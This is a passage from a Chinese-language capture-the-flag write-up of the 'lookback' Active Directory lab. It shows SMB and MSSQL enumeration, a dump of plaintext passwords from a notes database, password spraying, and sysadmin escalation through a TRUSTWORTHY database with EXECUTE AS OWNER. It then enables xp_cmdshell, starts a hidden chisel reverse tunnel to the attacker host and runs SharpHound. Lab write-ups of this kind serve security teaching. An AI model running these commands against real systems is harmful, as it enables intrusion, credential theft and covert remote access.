OPS(O1=M5B4NW8ST11%O2=M5B4NW8ST11%O3=M5B4NW8NNT11%O4=M5B4NW8ST11%O5=M5B4NW8ST11%O6=M5B4ST11)
WIN(W1=FFFF%W2=FFFF%W3=FFFF%W4=FFFF%W5=FFFF%W6=FFDC)
ECN(R=Y%DF=Y%TG=80%W=FFFF%O=M5B4NW8NNS%CC=Y%Q=)
T1(R=Y%DF=Y%TG=80%S=O%A=S+%F=AS%RD=0%Q=)
T2(R=N)
T3(R=N)
T4(R=N)
U1(R=N)
IE(R=N)

Uptime guess: 0.005 days (since Sat Apr 11 11:41:08 2026)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=243 (Good luck!)
IP ID Sequence Generation: Incremental

Host script results:
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 20036/tcp): CLEAN (Timeout)
|   Check 2 (port 63241/tcp): CLEAN (Timeout)
|   Check 3 (port 42841/udp): CLEAN (Timeout)
|   Check 4 (port 42527/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2026-04-11T03:56:38
|_  start_date: N/A
|_clock-skew: mean: 8m32s, deviation: 2s, median: 8m31s

TRACEROUTE
HOP RTT     ADDRESS
1   0.36 ms 172.16.55.128

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 11:48
Completed NSE at 11:48, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 11:48
Completed NSE at 11:48, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 11:48
Completed NSE at 11:48, 0.00s elapsed
Read data files from: /usr/share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 55.53 seconds
           Raw packets sent: 89 (9.036KB) | Rcvd: 17 (932B)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;添加hosts&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;┌──(web)─(root㉿kali)-[/home/…/Desktop/hmv/lookback/myself]
└─# echo &amp;quot;172.16.55.128 dc01.lookback.htb lookback.htb dc01&amp;quot; | sudo tee -a /etc/hosts 
172.16.55.128 dc01.lookback.htb lookback.htb dc01
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;netexec&lt;/h2&gt;
&lt;h3&gt;smb(shares)&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;┌──(web)─(root㉿kali)-[/home/…/Desktop/hmv/lookback/myself]
└─# nxc smb 172.16.55.128 -d lookback.htb -u hank -p &amp;#39;HrUhoX2r6c7Jgxg2qiTY&amp;#39; --shares
SMB         172.16.55.128   445    DC01             [*] Windows Server 2022 Build 20348 (name:DC01) (domain:lookback.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         172.16.55.128   445    DC01             [+] lookback.htb\hank:HrUhoX2r6c7Jgxg2qiTY 
SMB         172.16.55.128   445    DC01             [*] Enumerated shares
SMB         172.16.55.128   445    DC01             Share           Permissions     Remark
SMB         172.16.55.128   445    DC01             -----           -----------     ------
SMB         172.16.55.128   445    DC01             ADMIN$                          Remote Admin
SMB         172.16.55.128   445    DC01             C$                              Default share
SMB         172.16.55.128   445    DC01             IPC$            READ            Remote IPC
SMB         172.16.55.128   445    DC01             NETLOGON        READ            Logon server share 
SMB         172.16.55.128   445    DC01             notes                           
SMB         172.16.55.128   445    DC01             SYSVOL          READ            Logon server share
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;smb(users)&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;┌──(web)─(root㉿kali)-[/home/…/Desktop/hmv/lookback/myself]
└─# nxc smb 172.16.55.128 -d lookback.htb -u hank -p &amp;#39;HrUhoX2r6c7Jgxg2qiTY&amp;#39; --users
SMB         172.16.55.128   445    DC01             [*] Windows Server 2022 Build 20348 (name:DC01) (domain:lookback.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         172.16.55.128   445    DC01             [+] lookback.htb\hank:HrUhoX2r6c7Jgxg2qiTY 
SMB         172.16.55.128   445    DC01             -Username-                    -Last PW Set-       -BadPW- -Description-
SMB         172.16.55.128   445    DC01             Administrator                 2025-10-17 18:08:02 0       Built-in account for administering the computer/domain
SMB         172.16.55.128   445    DC01             Guest                         &amp;lt;never&amp;gt;             0       Built-in account for guest access to the computer/domain
SMB         172.16.55.128   445    DC01             krbtgt                        2025-10-17 03:15:35 0       Key Distribution Center Service Account
SMB         172.16.55.128   445    DC01             hank                          2025-10-19 12:05:12 0 
SMB         172.16.55.128   445    DC01             lookback-admin                2025-10-19 12:11:25 0 
SMB         172.16.55.128   445    DC01             db-admin                      2025-10-19 12:15:44 0 
SMB         172.16.55.128   445    DC01             Service_Maintainer            2025-10-19 13:27:26 0 
SMB         172.16.55.128   445    DC01             IT-SEC-admin                  2025-10-19 14:11:48 0 
SMB         172.16.55.128   445    DC01             IT-admin                      2025-10-19 14:15:17 0 
SMB         172.16.55.128   445    DC01             IT-login-user                 2025-10-19 14:17:16 0 
SMB         172.16.55.128   445    DC01             IT-email-admin                2025-10-19 14:20:21 0 
SMB         172.16.55.128   445    DC01             [*] Enumerated 11 local users: LOOKBACK
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;mssql&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;┌──(web)─(root㉿kali)-[/home/…/Desktop/hmv/lookback/myself]
└─# nxc mssql 172.16.55.128 -d lookback.htb -u hank -p &amp;#39;HrUhoX2r6c7Jgxg2qiTY&amp;#39;
MSSQL       172.16.55.128   1433   DC01             [*] Windows Server 2022 Build 20348 (name:DC01) (domain:lookback.htb) (EncryptionReq:False)
MSSQL       172.16.55.128   1433   DC01             [+] lookback.htb\hank:HrUhoX2r6c7Jgxg2qiTY 
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Mssql-1433&lt;/h1&gt;
&lt;h2&gt;连接(hank)&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;┌──(web)─(root㉿kali)-[/home/…/Desktop/hmv/lookback/myself]
└─# impacket-mssqlclient &amp;#39;lookback.htb/hank:HrUhoX2r6c7Jgxg2qiTY@172.16.55.128&amp;#39; -windows-auth
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(dc01): Line 1: Changed database context to &amp;#39;master&amp;#39;.
[*] INFO(dc01): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server 2022 RTM (16.0.1000)
[!] Press help for extra shell commands
SQL (lookback\hank  guest@master)&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;信息收集&lt;/h2&gt;
&lt;h3&gt;enum-db&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;SQL (lookback\hank  guest@master)&amp;gt; enum_db
name       is_trustworthy_on   
--------   -----------------   
master                     0   
tempdb                     0   
model                      0   
msdb                       1   
lookback                   1   
notes                      0   
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;enum_logins&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;SQL (lookback\hank  guest@master)&amp;gt; enum_logins
name            type_desc       is_disabled   sysadmin   securityadmin   serveradmin   setupadmin   processadmin   diskadmin   dbcreator   bulkadmin   
-------------   -------------   -----------   --------   -------------   -----------   ----------   ------------   ---------   ---------   ---------   
sa              SQL_LOGIN                 0          1               0             0            0              0           0           0           0   
lookback\hank   WINDOWS_LOGIN             0          0               0             0            0              0           0           0           0   
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;权限查询&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;SQL (lookback\hank  guest@master)&amp;gt; SELECT SYSTEM_USER;
                
-------------   
lookback\hank
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;SQL (lookback\hank  guest@master)&amp;gt; SELECT IS_SRVROLEMEMBER(&amp;#39;sysadmin&amp;#39;);
    
-   
0 
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;SQL (lookback\hank  guest@master)&amp;gt; SELECT * FROM fn_my_permissions(NULL, &amp;#39;SERVER&amp;#39;);
entity_name   subentity_name   permission_name     
-----------   --------------   -----------------   
server                         CONNECT SQL         
server                         VIEW ANY DATABASE       
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;SQL (lookback\hank  guest@master)&amp;gt; SELECT * FROM fn_my_permissions(NULL, &amp;#39;DATABASE&amp;#39;);
entity_name   subentity_name   permission_name                             
-----------   --------------   -----------------------------------------   
database                       CONNECT                                     
database                       VIEW ANY COLUMN ENCRYPTION KEY DEFINITION   
database                       VIEW ANY COLUMN MASTER KEY DEFINITION 
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Note数据库&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;尝试密码喷洒都失败了&lt;/p&gt;
&lt;p&gt;经与前文smb(users)的比对确定lookback_admin应为lookback-admin&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;SQL (lookback\hank  LOOKBACK\hank@notes)&amp;gt; SELECT name FROM sys.tables;
name          
-----------   
users_notes   
SQL (lookback\hank  LOOKBACK\hank@notes)&amp;gt; SELECT * FROM notes.dbo.users_notes;
id   username            password                                                                         
--   -----------------   ------------------------------------------------------------------------------   
 1   Update Notice       Due to multiple weak passwords, strong password accounts are now being issued.   
 2   jacob               G4vK1sZq9pH7tR2L                                                                 
 3   www_data            Q8mP2cV7xN3yJ5S0                                                                 
 4   Administrator       Z2pL6wF9rT5bC3K1                                                                 
 5   mssqlsvc            H5kR3nV8qW1tM7X2                                                                 
 6   signed_IT           U7qF2bY9mC4pL1T6                                                                 
 7   wack_admin          N6vT4pR8sK1qZ3H0                                                                 
 8   lan                 P3rM9tW2kV7xL5C1                                                                 
 9   user_roundcube      F8kJ2vN6qR4pT1Z3                                                                 
10   user                Y1pL7nK3vR9tC5M2                                                                 
11   stow_svc            D4qV8mP2rT6kN1S9                                                                 
12   ch_user             L9rT3pF6vK1nM8Q2                                                                 
13   rustkey             C2pN7qR5vT9kL3H1                                                                 
14   outbound_user       S6kP1vR9tM4qN2Z8                                                                 
15   lookback_migrator   B7qR2pT6vN1kM9C4                                                                 
16   lookback_admin      iPmmhn8bguFcWin9   
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;┌──(web)─(root㉿kali)-[/home/…/Desktop/hmv/lookback/myself]
└─# nxc smb 172.16.55.128 -d lookback.htb -u lookback-admin -p &amp;#39;iPmmhn8bguFcWin9&amp;#39;

SMB         172.16.55.128   445    DC01             [*] Windows Server 2022 Build 20348 (name:DC01) (domain:lookback.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         172.16.55.128   445    DC01             [+] lookback.htb\lookback-admin:iPmmhn8bguFcWin9 
                                                                                                        
┌──(web)─(root㉿kali)-[/home/…/Desktop/hmv/lookback/myself]
└─# nxc mssql 172.16.55.128 -d lookback.htb -u lookback-admin -p &amp;#39;iPmmhn8bguFcWin9&amp;#39;
MSSQL       172.16.55.128   1433   DC01             [*] Windows Server 2022 Build 20348 (name:DC01) (domain:lookback.htb) (EncryptionReq:False)
MSSQL       172.16.55.128   1433   DC01             [+] lookback.htb\lookback-admin:iPmmhn8bguFcWin9 
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;users.txt&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;jacob
www_data
Administrator
mssqlsvc
signed_IT
wack_admin
lan
user_roundcube
user
stow_svc
ch_user
rustkey
outbound_user
lookback_migrator
lookback_admin
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;passwords.txt&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;G4vK1sZq9pH7tR2L
Q8mP2cV7xN3yJ5S0
Z2pL6wF9rT5bC3K1
H5kR3nV8qW1tM7X2
U7qF2bY9mC4pL1T6
N6vT4pR8sK1qZ3H0
P3rM9tW2kV7xL5C1
F8kJ2vN6qR4pT1Z3
Y1pL7nK3vR9tC5M2
D4qV8mP2rT6kN1S9
L9rT3pF6vK1nM8Q2
C2pN7qR5vT9kL3H1
S6kP1vR9tM4qN2Z8
B7qR2pT6vN1kM9C4
iPmmhn8bguFcWin9
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;netexec-密码喷洒&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;┌──(web)─(root㉿kali)-[/home/…/Desktop/hmv/lookback/myself]
└─# nxc smb 172.16.55.128 -d lookback.htb -u users.txt -p passwords.txt --no-bruteforce --continue-on-success
SMB         172.16.55.128   445    DC01             [*] Windows Server 2022 Build 20348 (name:DC01) (domain:lookback.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         172.16.55.128   445    DC01             [-] lookback.htb\jacob:G4vK1sZq9pH7tR2L STATUS_LOGON_FAILURE
SMB         172.16.55.128   445    DC01             [-] lookback.htb\www_data:Q8mP2cV7xN3yJ5S0 STATUS_LOGON_FAILURE
SMB         172.16.55.128   445    DC01             [-] lookback.htb\Administrator:Z2pL6wF9rT5bC3K1 STATUS_LOGON_FAILURE
SMB         172.16.55.128   445    DC01             [-] lookback.htb\mssqlsvc:H5kR3nV8qW1tM7X2 STATUS_LOGON_FAILURE
SMB         172.16.55.128   445    DC01             [-] lookback.htb\signed_IT:U7qF2bY9mC4pL1T6 STATUS_LOGON_FAILURE
SMB         172.16.55.128   445    DC01             [-] lookback.htb\wack_admin:N6vT4pR8sK1qZ3H0 STATUS_LOGON_FAILURE
SMB         172.16.55.128   445    DC01             [-] lookback.htb\lan:P3rM9tW2kV7xL5C1 STATUS_LOGON_FAILURE
SMB         172.16.55.128   445    DC01             [-] lookback.htb\user_roundcube:F8kJ2vN6qR4pT1Z3 STATUS_LOGON_FAILURE
SMB         172.16.55.128   445    DC01             [-] lookback.htb\user:Y1pL7nK3vR9tC5M2 STATUS_LOGON_FAILURE
SMB         172.16.55.128   445    DC01             [-] lookback.htb\stow_svc:D4qV8mP2rT6kN1S9 STATUS_LOGON_FAILURE
SMB         172.16.55.128   445    DC01             [-] lookback.htb\ch_user:L9rT3pF6vK1nM8Q2 STATUS_LOGON_FAILURE
SMB         172.16.55.128   445    DC01             [-] lookback.htb\rustkey:C2pN7qR5vT9kL3H1 STATUS_LOGON_FAILURE
SMB         172.16.55.128   445    DC01             [-] lookback.htb\outbound_user:S6kP1vR9tM4qN2Z8 STATUS_LOGON_FAILURE
SMB         172.16.55.128   445    DC01             [-] lookback.htb\lookback_migrator:B7qR2pT6vN1kM9C4 STATUS_LOGON_FAILURE
SMB         172.16.55.128   445    DC01             [-] lookback.htb\lookback_admin:iPmmhn8bguFcWin9 STATUS_LOGON_FAILURE
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;┌──(web)─(root㉿kali)-[/home/…/Desktop/hmv/lookback/myself]
└─# nxc smb 172.16.55.128 -d lookback.htb -u lookback-admin -p &amp;#39;iPmmhn8bguFcWin9&amp;#39;

SMB         172.16.55.128   445    DC01             [*] Windows Server 2022 Build 20348 (name:DC01) (domain:lookback.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         172.16.55.128   445    DC01             [+] lookback.htb\lookback-admin:iPmmhn8bguFcWin9 
                                                                                                        
┌──(web)─(root㉿kali)-[/home/…/Desktop/hmv/lookback/myself]
└─# nxc mssql 172.16.55.128 -d lookback.htb -u lookback-admin -p &amp;#39;iPmmhn8bguFcWin9&amp;#39;
MSSQL       172.16.55.128   1433   DC01             [*] Windows Server 2022 Build 20348 (name:DC01) (domain:lookback.htb) (EncryptionReq:False)
MSSQL       172.16.55.128   1433   DC01             [+] lookback.htb\lookback-admin:iPmmhn8bguFcWin9 
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;连接(lookback-admin)&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;┌──(web)─(root㉿kali)-[/home/…/Desktop/hmv/lookback/myself]
└─# impacket-mssqlclient &amp;#39;lookback.htb/lookback-admin:iPmmhn8bguFcWin9@172.16.55.128&amp;#39; -windows-auth
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(dc01): Line 1: Changed database context to &amp;#39;master&amp;#39;.
[*] INFO(dc01): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server 2022 RTM (16.0.1000)
[!] Press help for extra shell commands
SQL (lookback\lookback-admin  guest@master)&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;信息收集&lt;/h2&gt;
&lt;h3&gt;enum-db&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;SQL (lookback\lookback-admin  guest@master)&amp;gt; enum_db
name       is_trustworthy_on   
--------   -----------------   
master                     0   
tempdb                     0   
model                      0   
msdb                       1   
lookback                   1   
notes                      0   
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;enum_logins&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;SQL (lookback\lookback-admin  guest@master)&amp;gt; enum_logins
name                      type_desc       is_disabled   sysadmin   securityadmin   serveradmin   setupadmin   processadmin   diskadmin   dbcreator   bulkadmin   
-----------------------   -------------   -----------   --------   -------------   -----------   ----------   ------------   ---------   ---------   ---------   
sa                        SQL_LOGIN                 0          1               0             0            0              0           0           0           0   
lookback\lookback-admin   WINDOWS_LOGIN             0          0               0             0            0              0           0           0           0   
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;权限查询&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;SQL (lookback\lookback-admin  guest@master)&amp;gt; SELECT SYSTEM_USER;
                          
-----------------------   
lookback\lookback-admin   
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;SQL (lookback\lookback-admin  guest@master)&amp;gt; SELECT IS_SRVROLEMEMBER(&amp;#39;sysadmin&amp;#39;);
    
-   
0   
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;SQL (lookback\lookback-admin  guest@master)&amp;gt; SELECT * FROM fn_my_permissions(NULL, &amp;#39;SERVER&amp;#39;);
entity_name   subentity_name   permission_name     
-----------   --------------   -----------------   
server                         CONNECT SQL         
server                         VIEW ANY DATABASE   
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;SQL (lookback\lookback-admin  guest@master)&amp;gt; SELECT * FROM fn_my_permissions(NULL, &amp;#39;DATABASE&amp;#39;);
entity_name   subentity_name   permission_name                             
-----------   --------------   -----------------------------------------   
database                       CONNECT                                     
database                       VIEW ANY COLUMN ENCRYPTION KEY DEFINITION   
database                       VIEW ANY COLUMN MASTER KEY DEFINITION     
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;权限提升&lt;/h2&gt;
&lt;h3&gt;前置条件&lt;/h3&gt;
&lt;h4&gt;&lt;code&gt;EXECUTE AS OWNER&lt;/code&gt; 提权&lt;/h4&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;TRUSTWORTHY&lt;/strong&gt; 属性允许数据库内的模拟（Impersonation）上下文跨越数据库边界。&lt;br&gt;结合另一个条件：如果数据库的所有者是高权限登录名（比如 &lt;code&gt;sa&lt;/code&gt;），那么在该数据库内创建一个 &lt;code&gt;EXECUTE AS OWNER&lt;/code&gt; 的存储过程，执行时就会&lt;strong&gt;以 &lt;strong&gt;&lt;code&gt;**sa**&lt;/code&gt;&lt;/strong&gt; 的权限级别运行&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;enum_db  --&amp;gt; lookback 数据库 is_trustworthy_on = 1
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;数据库所有者&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;SQL (lookback\hank  guest@msdb)&amp;gt; SELECT name, SUSER_SNAME(owner_sid) AS owner FROM sys.databases WHERE name = &amp;#39;lookback&amp;#39;;
name       owner                    
--------   ----------------------   
lookback   LOOKBACK\Administrator  
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;exploit&lt;/h3&gt;
&lt;h4&gt;步骤 1：进入 &lt;code&gt;lookback&lt;/code&gt; 数据库&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;SQL (lookback\lookback-admin  guest@master)&amp;gt; USE lookback;
ENVCHANGE(DATABASE): Old Value: master, New Value: lookback
INFO(dc01): Line 1: Changed database context to &amp;#39;lookback&amp;#39;.
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;步骤 2：创建提权存储过程&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;SQL (lookback\lookback-admin  lookback\lookback-admin@lookback)&amp;gt; CREATE OR ALTER PROCEDURE dbo.privesc WITH EXECUTE AS OWNER AS BEGIN ALTER SERVER ROLE [sysadmin] ADD MEMBER [LOOKBACK\lookback-admin]; END;
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;步骤 3：执行存储过程&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;SQL (lookback\lookback-admin  lookback\lookback-admin@lookback)&amp;gt; EXEC dbo.privesc;
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;步骤 4：验证是否成功&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;SQL (lookback\lookback-admin  dbo@lookback)&amp;gt; SELECT IS_SRVROLEMEMBER(&amp;#39;sysadmin&amp;#39;);
    
-   
1  
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;若返回 &lt;code&gt;1&lt;/code&gt;，则说明已成功加入 &lt;code&gt;sysadmin&lt;/code&gt; 角色。&lt;/p&gt;
&lt;h4&gt;步骤 5：启用 &lt;code&gt;xp_cmdshell&lt;/code&gt; 并执行命令&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;SQL (lookback\lookback-admin  dbo@lookback)&amp;gt; EXEC sp_configure &amp;#39;show advanced options&amp;#39;, 1;
INFO(dc01): Line 196: Configuration option &amp;#39;show advanced options&amp;#39; changed from 0 to 1. Run the RECONFIGURE statement to install.
SQL (lookback\lookback-admin  dbo@lookback)&amp;gt; RECONFIGURE;
SQL (lookback\lookback-admin  dbo@lookback)&amp;gt; EXEC sp_configure &amp;#39;xp_cmdshell&amp;#39;, 1;
INFO(dc01): Line 196: Configuration option &amp;#39;xp_cmdshell&amp;#39; changed from 0 to 1. Run the RECONFIGURE statement to install.
SQL (lookback\lookback-admin  dbo@lookback)&amp;gt; RECONFIGURE;
SQL (lookback\lookback-admin  dbo@lookback)&amp;gt; EXEC xp_cmdshell &amp;#39;whoami&amp;#39;;
output              
-----------------   
lookback\db-admin   
NULL     
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;建立隧道&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;需要将域内端口转发出来&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;Kali&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;尝试了下其它端口发现没有回连&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;/usr/bin/chisel server --reverse --socks5 -p 445 -v
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;MSSQL&lt;/h3&gt;
&lt;h4&gt;upload&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;┌──(web)─(root㉿kali)-[/home/…/Desktop/hmv/lookback/myself]
└─# nxc mssql 172.16.55.128 -d lookback.htb -u lookback-admin -p &amp;#39;iPmmhn8bguFcWin9&amp;#39; --put-file /home/kali/Desktop/tools/chisel/chisel.exe C:\\ProgramData\\chisel.exx
MSSQL       172.16.55.128   1433   DC01             [*] Windows Server 2022 Build 20348 (name:DC01) (domain:lookback.htb) (EncryptionReq:False)
MSSQL       172.16.55.128   1433   DC01             [+] lookback.htb\lookback-admin:iPmmhn8bguFcWin9 (Pwn3d!)
MSSQL       172.16.55.128   1433   DC01             [*] Copy /home/kali/Desktop/tools/chisel/chisel.exe to C:\ProgramData\chisel.exe
MSSQL       172.16.55.128   1433   DC01             [*] Size is 10612224 bytes
MSSQL       172.16.55.128   1433   DC01             [+] File has been uploaded on the remote machine
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;run&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;SQL (lookback\lookback-admin  dbo@master)&amp;gt; EXEC xp_cmdshell &amp;#39;cmd /c taskkill /F /IM chisel.exe&amp;#39;;
output                                       
------------------------------------------   
ERROR: The process &amp;quot;chisel.exe&amp;quot; not found.   
NULL                                         
SQL (lookback\lookback-admin  dbo@master)&amp;gt; EXEC xp_cmdshell &amp;#39;powershell -NoP -W Hidden -Command &amp;quot;Start-Process -FilePath &amp;#39;&amp;#39;C:\ProgramData\chisel.exe&amp;#39;&amp;#39; -ArgumentList &amp;#39;&amp;#39;client 172.16.55.193:445 R:socks&amp;#39;&amp;#39; -WindowStyle Hidden&amp;quot;&amp;#39;;
output   
------   
NULL     
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Sharphound&lt;/h2&gt;
&lt;h3&gt;upload&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;┌──(web)─(root㉿kali)-[/home/kali]
└─# nxc mssql 172.16.55.128 -d lookback.htb -u lookback-admin -p &amp;#39;iPmmhn8bguFcWin9&amp;#39; --put-file &amp;#39;/home/kali/Desktop/tools/sharphound/SharpHound_v2.9.0/SharpHound.ps1&amp;#39; &amp;#39;C:\Users\db-admin\Desktop\SharpHound.ps1&amp;#39; 
MSSQL       172.16.55.128   1433   DC01             [*] Windows Server 2022 Build 20348 (name:DC01) (domain:lookback.htb) (EncryptionReq:False)
MSSQL       172.16.55.128   1433   DC01             [+] lookback.htb\lookback-admin:iPmmhn8bguFcWin9 (Pwn3d!)
MSSQL       172.16.55.128   1433   DC01             [*] Copy /home/kali/Desktop/tools/sharphound/SharpHound_v2.9.0/SharpHound.ps1 to C:\Users\db-admin\Desktop\SharpHound.ps1
MSSQL       172.16.55.128   1433   DC01             [*] Size is 1618189 bytes
MSSQL       172.16.55.128   1433   DC01             [+] File has been uploaded on the remote machine
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;run&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;┌──(web)─(root㉿kali)-[/home/kali]
└─# impacket-mssqlclient &amp;#39;lookback.htb/lookback-admin:iPmmhn8bguFcWin9@172.16.55.128&amp;#39; -windows-auth &amp;lt;&amp;lt;SQL
EXEC xp_cmdshell &amp;#39;if not exist C:\Users\db-admin\Desktop\bh_out mkdir C:\Users\db-admin\Desktop\bh_out&amp;#39;; 
EXEC xp_cmdshell &amp;#39;powershell -NoP -Ep Bypass -Command &amp;quot;Import-Module &amp;#39;&amp;#39;C:\Users\db-admin\Desktop\SharpHound.ps1&amp;#39;&amp;#39;; Invoke-BloodHound -CollectionMethod All -Domain lookback.htb -OutputDirectory C:\Users\db-admin\Desktop\bh_out -ZipFileName 20260410_lookback.zip&amp;quot;&amp;#39;;      
EXEC xp_cmdshell &amp;#39;dir C:\Users\db-admin\Desktop\bh_out&amp;#39;;
SQL
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(dc01): Line 1: Changed database context to &amp;#39;master&amp;#39;.
[*] INFO(dc01): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server 2022 RTM (16.0.1000)
[!] Press help for extra shell commands
SQL (lookback\lookback-admin  dbo@master)&amp;gt; output   
------   
NULL     
SQL (lookback\lookback-admin  dbo@master)&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;download&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;需要等一小会脚本运行完毕&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;┌──(web)─(root㉿kali)-[/home/kali]
